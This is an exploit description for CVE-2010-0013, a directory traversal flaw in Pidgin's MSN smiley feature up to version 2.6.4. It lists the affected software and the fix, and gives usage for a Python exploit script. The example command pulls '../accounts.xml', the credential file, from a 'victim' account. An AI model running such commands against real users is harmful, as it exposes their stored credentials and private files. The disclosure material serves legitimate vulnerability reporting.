Pidgin MSN <= 2.6.4 file download vulnerability
19 January 2010
Mathieu GASPARD (gaspmat@gmail.com)
Description:
Pidgin is a multi-protocol Instant Messenger.
This is an exploit for the vulnerability[1] discovered in Pidgin by Fabian Yamaguchi.
The issue is caused by an error in the MSN custom smiley feature when processing emoticon requests,
which could allow attackers to disclose the contents of arbitrary files via directory traversal attacks.
Affected versions :
Pidgin <= 2.6.4, Adium and other IM using Pidgin-libpurple/libmsn library.
Plugin msn-pecan 0.1.0-rc2 (http://code.google.com/p/msn-pecan/) IS also vulnerable even if Pidgin is up to date
Plateforms :
Windows, Linux, Mac
Fix :
Fixed in Pidgin 2.6.5
Update to the latest version : http://www.pidgin.im/download/
References :
[1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0013
[2] http://www.pidgin.im/news/security/?id=42
Usage :
You need the Python MSN Messenger library : http://telepathy.freedesktop.org/wiki/Pymsn
python pidgin_exploit.py -a YOUR_MSN_EMAIL -c TARGET_MSN_EMAIL -f FILE [-o OUTPUT_FILE] [-l]
Example :
# python pidgin_exploit.py -a foo@hotmail.com -c victim@hotmail.com -f ../accounts.xml [-o accounts.xml]
